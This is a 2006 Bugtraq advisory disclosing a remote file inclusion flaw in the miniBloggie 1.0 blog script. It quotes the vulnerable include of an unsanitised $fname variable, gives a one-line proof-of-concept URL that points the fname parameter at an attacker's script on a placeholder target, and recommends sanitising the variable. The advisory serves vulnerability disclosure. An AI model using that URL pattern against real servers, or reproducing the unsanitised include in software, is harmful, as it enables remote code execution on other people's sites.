bugtraq - miniBloggie <= 1.0 (fname) Remote File Inclusion Vulnerability

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Date: 10 Aug 2006 20:38:38 -0000
From: sh3ll@...ll.ir
To: bugtraq@...urityfocus.com
Subject: miniBloggie <= 1.0 (fname) Remote File Inclusion Vulnerability

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miniBloggie 1.0 fname Remote File Inclusion
---------------------------------------------------------------------------------------
Author   : Sh3ll
Date     : 2006/05/01
HomePage : http://www.sh3ll.ir
Contact  : sh3ll[at]sh3ll[dot]ir
---------------------------------------------------------------------------------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : miniBloggie 
version     : 1.0
Venedor     : http://www.mywebland.com
Class       : Remote File Inclusion
Risk        : High
Summary     : minibloggie, a mini blog script yet effective built using fast template 
for easy customisation. Using Mysql database system with edit, delete, , support smiley 
& BBcode, adminstrator log in for easy website management.

---------------------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
The Problem Exists Is in The cls_fast_template.php When Used The Variable in a $fname
include() Function Without Being Declared.
---------------------------------cls_fast_template.php---------------------------------
....
<?php
else {
    fclose($fp);
    include $fname;
    return;
}
...
---------------------------------------------------------------------------------------
PoC:
~~~
http://www.target.com/[miniBloggie]/cls_fast_template.php?fname=[Evil Script]

Solution:
~~~~~~~~
Sanitize Variabel $fname in cls_fast_template.php
----------------------------------------------------------------------------------------
Note:
~~~~
Venedor Contacted, But No Response. So Do a Dirty Patch.
----------------------------------------------------------------------------------------
Shoutz:
~~~~~~
~ Special Greetz to My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams